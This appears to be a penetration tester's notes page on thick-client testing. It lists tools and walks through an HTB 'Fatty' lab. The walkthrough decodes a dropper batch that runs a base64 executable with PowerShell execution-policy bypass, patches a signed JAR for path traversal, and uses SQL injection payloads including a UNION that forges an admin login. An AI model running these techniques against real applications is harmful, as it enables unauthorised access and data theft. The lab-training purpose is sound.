> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/thick-client-pentest.md).

# Thick Client Pentest

Thick Client Pentesting

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)

## CheckList

{% embed url="<https://github.com/m14r41/PentestingEverything/tree/main/Thick%20Client%20Pentesting>" %}

{% embed url="<https://github.com/Hari-prasaanth/Thick-Client-Pentest-Checklist>" %}

## Linux Binaries

```
strings binaryname
```

Change encoding

```
strings -e l binaryname
strings -e L binaryname
strings -e b binaryname
```

## Pre Compiled Tools

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FKoAa5G4wJ7se7czB1zhU%2Fimage.png?alt=media&amp;token=370b8ed3-12a6-497e-9cb7-6dbc6b29cb19" alt=""><figcaption></figcaption></figure>

{% embed url="<https://mega.nz/folder/7Q12SZgL#zVg_sYY_0GaBNITWRie91w>" %}
Precompiled Tools from my MEGA Account
{% endembed %}

## **Information Gathering**

### CFF Explorer

{% embed url="<https://ntcore.com/explorer-suite/>" %}

### Detect It Easy

{% embed url="<https://github.com/horsicq/Detect-It-Easy>" %}

### Process Monitor

{% embed url="<https://learn.microsoft.com/en-us/sysinternals/downloads/procmon>" %}

### Strings

{% embed url="<https://learn.microsoft.com/en-us/sysinternals/downloads/strings>" %}

## MSI Files

Look inside Install files, etc

{% content-ref url="/pages/K5m1uM9iTa0Rizu0ai1V" %}
[MSI Files](/0xss0rz/pentest/privilege-escalation/windows/msi-files.md)
{% endcontent-ref %}

## COM Files

{% embed url="<https://github.com/CICADA8-Research/COMThanasia?s=03>" %}

## DLL Files Analysis

{% embed url="<https://locall.host/open-dll-file/>" %}

{% embed url="<https://www.codeproject.com/Articles/5355807/NET-5-Free-Decompilers>" %}

### ILSpy - .NET Decompiler

{% embed url="<https://github.com/icsharpcode/ILSpy/releases>" %}

Decompile the DLL files, then you can search strings, check the code, etc.

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F9Erz7RQQ48XSfTsj9MwZ%2Fimage.png?alt=media&amp;token=93e99d7d-f060-437d-b058-9cbbcb87c437" alt=""><figcaption></figcaption></figure>

### DLL Hijacking

{% content-ref url="/pages/u8zzQWgc2uKe0BSaBdzn" %}
[DLL Hijacking](/0xss0rz/pentest/privilege-escalation/windows/dll-hijacking.md)
{% endcontent-ref %}

## **Client Side attacks**

{% content-ref url="/pages/aOTJAYAkbZbDV7Iij03k" %}
[Code Analysis](/0xss0rz/pentest/code-analysis.md)
{% endcontent-ref %}

### Ghidra

{% embed url="<https://www.ghidra-sre.org/>" %}

### IDA

{% embed url="<https://hex-rays.com/ida-pro/>" %}

### OllyDBG

{% embed url="<https://www.ollydbg.de/>" %}

### Radare2

{% embed url="<https://www.radare.org/r/index.html>" %}

### dnSpy - .NET C\#

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

### x64dbg

{% embed url="<https://x64dbg.com/>" %}

### JADX

{% embed url="<https://github.com/skylot/jadx>" %}

### JD-GUI - Java

{% embed url="<https://github.com/java-decompiler/jd-gui>" %}

### Scavenger - Java

{% embed url="<https://github.com/naver/scavenger>" %}

### Retdec - C++

{% embed url="<https://github.com/avast/retdec>" %}

### Frida

{% embed url="<https://frida.re/>" %}

### API Monitor

{% embed url="<http://www.rohitab.com/apimonitor>" %}

## Network Side Attacks

{% content-ref url="/pages/nW6AIgxt7tsfhiB8iOTQ" %}
[Miscellaneous Techniques](/0xss0rz/pentest/privilege-escalation/windows/miscellaneous-techniques.md)
{% endcontent-ref %}

### Wireshark

{% embed url="<https://www.wireshark.org/>" %}

### TCPDump

{% embed url="<https://www.tcpdump.org/>" %}

### TCPView

{% embed url="<https://learn.microsoft.com/en-us/sysinternals/downloads/tcpview>" %}

### Burp

{% embed url="<https://portswigger.net/burp>" %}

## **Server Side Attacks**

{% content-ref url="/pages/PiiR321MnO4gY2pQmV2w" %}
[OWASP Top 10](/0xss0rz/pentest/web-attacks/owasp-top-10.md)
{% endcontent-ref %}

## Retriving sensitive information from processes

{% content-ref url="/pages/d0XMSkJixkOsMkl6lucT" %}
[Windows Processes](/0xss0rz/pentest/privilege-escalation/windows/windows-processes.md)
{% endcontent-ref %}

## Retrieving hardcoded Credentials

```cmd-session
C:\Apps>.\Restart-OracleService.exe
C:\Apps>
```

ProcMon - monitoring the process reveals that the executable indeed creates a temp file

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FNiz7Hv4iYFSOYnKW58lC%2Fimage.png?alt=media&amp;token=2cee3514-d30b-48bf-98cd-3c94faee7ef9" alt=""><figcaption><p>Filters</p></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F6C2b2kXLMNDkQr72FHq9%2Fimage.png?alt=media&amp;token=64118c6c-22a4-4543-b34e-6bfc921975e9" alt=""><figcaption><p>ProcMon - Temp File</p></figcaption></figure>

In order to capture the files, it is required to change the permissions of the `Temp` folder to disallow file deletions

To do this, we right-click the folder `C:\Users\Matt\AppData\Local\Temp` and under `Properties` -> `Security` -> `Advanced` -> `cybervaca` -> `Disable inheritance` -> `Convert inherited permissions into explicit permissions on this object` -> `Edit` -> `Show advanced permissions`, we deselect the `Delete subfolders and files`, and `Delete` checkboxes.

Run the app again

```cmd-session
C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2

...SNIP...
04/03/2023  02:09 PM         1,730,212 6F39.bat
04/03/2023  02:09 PM                 0 6F39.tmp
```

bat file

```batch
@shift /0
@echo off

if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
```

Two files are being dropped by the batch file and being deleted. Try to retrieve the content of the 2 files, by modifying the batch script and removing the deletion

Remove user part and del part. Also change echo $salida

```batch
@shift /0
@echo off

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
```

Write the files on Desktop

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fkmppsi818bED8m77qIT6%2Fimage.png?alt=media&amp;token=3fc850e9-7507-4680-bb7c-af90c4bec945" alt=""><figcaption></figcaption></figure>

`echo $salida = $null; $fichero = (Get-Content C:\Users\cybervaca\Desktop\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("C:\Users\cybervaca\Desktop\restart-service.exe", [System.Convert]::FromBase64String($salida)) > C:\Users\cybervaca\Desktop\monta.ps1`

```powershell-session
C:\>  cat C:\programdata\monta.ps1

$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
```

run ps1 to create exe

```powershell-session
C:\>  ls C:\programdata\

Mode                LastWriteTime         Length Name
<SNIP>
-a----        3/24/2023   1:01 PM            273 monta.ps1
-a----        3/24/2023   1:01 PM         601066 oracle.txt
-a----        3/24/2023   1:17 PM         432273 restart-service.exe
```

Banner

```powershell-session
C:\>  .\restart-service.exe

    ____            __             __     ____                  __
   / __ \___  _____/ /_____ ______/ /_   / __ \_________ ______/ /__
  / /_/ / _ \/ ___/ __/ __ `/ ___/ __/  / / / / ___/ __ `/ ___/ / _ \
 / _, _/  __(__  ) /_/ /_/ / /  / /_   / /_/ / /  / /_/ / /__/ /  __/
/_/ |_|\___/____/\__/\__,_/_/   \__/   \____/_/   \__,_/\___/_/\___/

                                                by @HelpDesk 2010
```

procmon

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FHj04MTdUZ0s5lCkc6Tnq%2Fimage.png?alt=media&amp;token=3bf168a1-843e-46f4-86c4-421661e8a06b" alt=""><figcaption></figcaption></figure>

`x64dbg`, navigate to `Options` -> `Preferences`, and uncheck everything except `Exit Breakpoint`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FDmGOqTPAnAUKDF00uWf1%2Fimage.png?alt=media&amp;token=6f612977-5a23-40f5-8800-f4157f4bfdba" alt=""><figcaption></figcaption></figure>

`file` -> `open` and select the `restart-service.exe` to import it and start the debugging. Once imported, we right click inside the `CPU` view and `Follow in Memory Map`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FpFlLPwkzeN76LTKRGH9v%2Fimage.png?alt=media&amp;token=9713dfca-1be4-4a46-be0a-ecb7d422f639" alt=""><figcaption></figcaption></figure>

`MAP` and protection set to `-RW--`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FjSsqV0bCTTvZnwPFP6UM%2Fimage.png?alt=media&amp;token=aa399bcc-d38f-427d-8277-f18f8ddf5799" alt=""><figcaption></figcaption></figure>

double-click on it

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FCaYvsfM0RJKiaCirbhmx%2Fimage.png?alt=media&amp;token=949fea42-2502-49cd-8138-6608e176b1eb" alt=""><figcaption></figcaption></figure>

Return to the Memory Map pane, then export the newly discovered mapped item from memory to a dump file by right-clicking on the address and selecting `Dump Memory to File`. Running `strings` on the exported file

```powershell-session
C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>
```

&#x20;use `De4Dot` to reverse `.NET` executables&#x20;

```cmd-session
de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin


Press any key to exit...

```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FhLnMJCvkkGJkZ4ikIKGk%2Fimage.png?alt=media&amp;token=cabea8a3-9f4e-4082-aad6-70bcfa38925f" alt=""><figcaption></figcaption></figure>

&#x20;Read the source code of the exported application by dragging and dropping it onto the `DnSpy` executable

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FwIJs4JMmUkRvoIGmBWDK%2Fimage.png?alt=media&amp;token=62ecd95d-c2e8-4dbe-83c2-7acd64e1ef7d" alt=""><figcaption></figcaption></figure>

## Proxy

{% embed url="<https://sourceforge.net/projects/echomirage.oldbutgold.p/>" %}

{% embed url="<https://medium.com/fmisec/thick-client-app-pentest-discover-a-more-versatile-traffic-interception-tool-721f8b8642b8>" %}

{% embed url="<https://github.com/InterceptSuite/InterceptSuite>" %}

{% embed url="<https://portswigger.net/support/using-burp-suite-to-test-a-proxy-aware-thick-client-application>" %}

## Web Vulnerabilities

Based on HTB Fatty Walkthrough:

{% embed url="<https://0xdf.gitlab.io/2020/08/08/htb-fatty.html>" %}

FTP server find some info:&#x20;

* A server has been reconfigured to run on port `1337` instead of `8000`.
* The login credentials for login in the client application are \*\*\*\*/\*

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fkpl78tdiKmFuLBaHC4d2%2Fimage.png?alt=media&amp;token=9cb717b7-24b8-4236-a7e1-a09e1cbb75c3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FpIyOdGqtq0ndH92NLIaj%2Fimage.png?alt=media&amp;token=b3c402f7-87d3-43b2-b774-225bdcee01b5" alt=""><figcaption></figcaption></figure>

The client attempts to connect to the `server.fatty.htb` subdomain

{% hint style="info" %}
Below is showcased an example on how to approach DNS requests from applications in your favour. Verify the contents of the C:\Windows\System32\drivers\etc\hosts file where the IP 172.16.17.114 is pointed to fatty.htb and server.fatty.htb
{% endhint %}

```cmd-session
C:\> echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FWgBkifg1wjwlfaOKlH4j%2Fimage.png?alt=media&amp;token=0ef1a2d0-fc9c-47fc-9685-46300129abdc" alt=""><figcaption></figcaption></figure>

`fatty-client.jar` is a Java Archive file, and its content can be extracted by right-clicking on it and selecting `Extract files`

```powershell-session
C:\> ls fatty-client\

<SNIP>
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/30/2019  12:10 PM                htb
d-----       10/30/2019  12:10 PM                META-INF
d-----        4/26/2017  12:09 AM                org
------       10/30/2019  12:10 PM           1550 beans.xml
------       10/30/2019  12:10 PM           2230 exit.png
------       10/30/2019  12:10 PM           4317 fatty.p12
------       10/30/2019  12:10 PM            831 log4j.properties
------        4/26/2017  12:08 AM            299 module-info.class
------       10/30/2019  12:10 PM          41645 spring-beans-3.0.xsd
```

```powershell-session
C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List

Path       : C:\Users\cybervaca\Desktop\fatty-client\beans.xml
LineNumber : 13
```

```powershell-session
C:\> cat fatty-client\beans.xml

<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
         constructor function. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<SNIP>
```

set the port to `1337`

&#x20;`secret` is `clarabibiclarabibiclarabibi`.

Running the edited application will fail due to an `SHA-256` digest mismatch. The JAR is signed, validating every file's `SHA-256` hashes before running. These hashes are present in the file `META-INF/MANIFEST.MF`.

```powershell-session
C:\> cat fatty-client\META-INF\MANIFEST.MF

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
 r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>
```

&#x20;remove the hashes from `META-INF/MANIFEST.MF` and delete the `1.RSA` and `1.SF` files from the `META-INF` directory. The modified `MANIFEST.MF` should end with a new line.

```txt
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

```

Update and run the `fatty-client.jar` file by issuing the following commands.

```powershell-session
C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FGbAY3MhQgEQTuCqIEpGc%2Fimage.png?alt=media&amp;token=c6ff2aad-da28-4aae-9f01-41bc30d05c24" alt=""><figcaption></figcaption></figure>

### Foothold

&#x20;`Profile` -> `Whoami`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FMEbDaLOU3m4ZHgfZcD7C%2Fimage.png?alt=media&amp;token=0915b31c-84e1-4f9f-a11d-fdc5f822d365" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FvFYHUC60TJRQ2g1rReXv%2Fimage.png?alt=media&amp;token=e5dd3791-6093-4d60-9ac4-d9d96aa4b612" alt=""><figcaption></figcaption></figure>

### Path Traversal

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FYedRCdnrFCjGZJDyis56%2Fimage.png?alt=media&amp;token=505eb6c2-ff2a-47b1-b480-4e945bc76b3c" alt=""><figcaption></figcaption></figure>

&#x20;Decompile the application using [JD-GUI](http://java-decompiler.github.io/), by dragging and dropping the `fatty-client-new.jar` onto the `jd-gui`

{% hint style="info" %}
jdgui can be download from my MEGA - SEE [Pre Compiled Tools](#pre-compiled-tools)
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fj2vtf475jV9MaAfFUNkV%2Fimage.png?alt=media&amp;token=c50b6795-8ae1-4439-9f52-43d234f936bc" alt=""><figcaption></figcaption></figure>

Save the source code by pressing the `Save All Sources` option in `jdgui`. Decompress the `fatty-client-new.jar.src.zip` by right-clicking and selecting `Extract files`.

The file `fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java` handles the application features

```java
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {
      
      }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user))
      return "Error: Method '" + methodName + "' is not allowed for this user account"; 
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError())
      return "Error: Your action caused an error on the application server!"; 
    return this.response.getContentAsString();
  }
```

`showFiles` function takes in one argument for the folder name and then sends the data to the server using the `sendAndRecv()` call. The file `fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java` sets the folder option

```java
configs.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs");
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
            } catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 
            textPane.setText(response);
          }
        });
```

&#x20;Replace the `configs` folder name with `..`&#x20;

```java
ClientGuiTest.this.currentFolder = "..";
  try {
    response = ClientGuiTest.this.invoker.showFiles("..");
```

&#x20;Compile the `ClientGuiTest.Java` file

```powershell-session
C:\> javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
```

This generates several class files. Let's create a new folder and extract the contents of `fatty-client.jar` into it.

```powershell-session
C:\> mkdir raw
C:\> cp fatty-client-new.jar raw\fatty-client-new-2.jar
```

Navigate to the `raw` directory and decompress `fatty-client-new-2.jar` by right-clicking and selecting `Extract Here`

Navigate to the `raw` directory and decompress `fatty-client-new-2.jar` by right-clicking and selecting `Extract Here`. Overwrite any existing `htb/fatty/client/gui/*.class` files with updated class files.

&#x20; Exploiting Web Vulnerabilities in Thick-Client Applications

```powershell-session
C:\> mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\
```

Finally, we build the new JAR file.

```powershell-session
C:\> cd raw
C:\> jar -cmf META-INF\MANIFEST.MF traverse.jar .
```

Log in to the application and navigate to `FileBrowser` -> `Config` option

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F9Pe7yh3bRAWE6JgcPO3T%2Fimage.png?alt=media&amp;token=fdfe6e09-f82a-4fd1-be26-1644bbf510a8" alt=""><figcaption></figcaption></figure>

Listing the content of the `start.sh` file reveals that `fatty-server.jar` is running inside an Alpine Docker container.

&#x20;Modify the `open` function in `fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java` to download the file `fatty-server.jar`

```java
import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);
    
    if (this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }
    
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    
    return "Successfully saved the file to " + desktopPath;
}
<SNIP>
```

Rebuild the JAR file by following the same steps and log in again to the application. Then, navigate to `FileBrowser` -> `Config`, add the `fatty-server.jar` name in the input field, and click the `Open` button.

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F5KUqfbnZ0vJdw579wewh%2Fimage.png?alt=media&amp;token=c0779078-c439-4ef2-b069-d2111d37e90d" alt=""><figcaption></figcaption></figure>

```powershell-session
C:\> ls C:\Users\cybervaca\Desktop\

...SNIP...
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/25/2023  11:38 AM       10827452 fatty-server.jar
```

### SQL Injection

Decompiling the `fatty-server.jar` using JD-GUI reveals the file `htb/fatty/server/database/FattyDbSession.class` that contains a `checkLogin()` function that handles the login functionality

```java
public User checkLogin(User user) throws LoginException {
    <SNIP>
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
      <SNIP>
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
          return newUser; 
        throw new LoginException("Wrong Password!");
      <SNIP>
           this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      return null;
```

The login button creates the new object `ClientGuiTest.this.user` for the `User` class. It then calls the `setUsername()` and `setPassword()` functions with the respective username and password values.&#x20;

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FZoO9SJm5BPRSgvJtPfKh%2Fimage.png?alt=media&amp;token=53bcbfe2-6773-4359-ab76-1929dc854f6d" alt=""><figcaption></figcaption></figure>

`htb/fatty/shared/resources/user.java`

```java
public void setUsername(String username) {
    this.username = username;
  }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }
```

Username isn't sanitized and is directly used in the SQL query, making it vulnerable to SQL injection.

The `checkLogin` function in `htb/fatty/server/database/FattyDbSession.class` writes the SQL exception to a log file.

To see the error, we need to edit the code in the `fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java` file as follows

```java
ClientGuiTest.this.currentFolder = "../logs";
  try {
    response = ClientGuiTest.this.invoker.showFiles("../logs");
```

&#x20;`error-log.txt`

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FK5pOGuIsiVbWGfYOIm6R%2Fimage.png?alt=media&amp;token=36ff072c-afc5-4d0a-88c7-bfa4a8891888" alt=""><figcaption></figcaption></figure>

username in the login form is `' or '1'='1`

```java
<SNIP>
if (rs.next()) {
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
<SNIP>
```

The injection in the `username` field can be leveraged to create a fake user entry.

```java
test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin
```

Modify the code in `htb/fatty/shared/resources/User.java` to submit the password as it is from the client application.

```java
public User(int uid, String username, String password, String email, Role role) {
    this.uid = uid;
    this.username = username;
    this.password = password;
    this.email = email;
    this.role = role;
}
public void setPassword(String password) {
    this.password = password;
  }
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FBQ7kyooEIWqWMBMgkm2S%2Fimage.png?alt=media&amp;token=eda838f6-7bdd-4fe6-b220-6445306eb5a7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F7hQddbl2Wo3aMxp4ppov%2Fimage.png?alt=media&amp;token=0f3148cc-7fa3-40af-8cd4-66e4bc254e37" alt=""><figcaption></figcaption></figure>

```
PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new-2.jar fatty-client-new.jar.src\htb\fatty\shared\resources\*.java
```

{% hint style="info" %}
The jar file is not created (don't know why, but two .class file are generated): fatty-client-new\.jar.src\htb\fatty\shared\resources\\\*.class
{% endhint %}

Copy the .class files to raw directory

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FrbH5VXuZd6CXF0TyPsYd%2Fimage.png?alt=media&amp;token=240b83ac-4feb-4dac-b3ee-850f37d5f2f1" alt=""><figcaption></figcaption></figure>

Create jar file

```
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF\MANIFEST.MF sqli.jar .
```

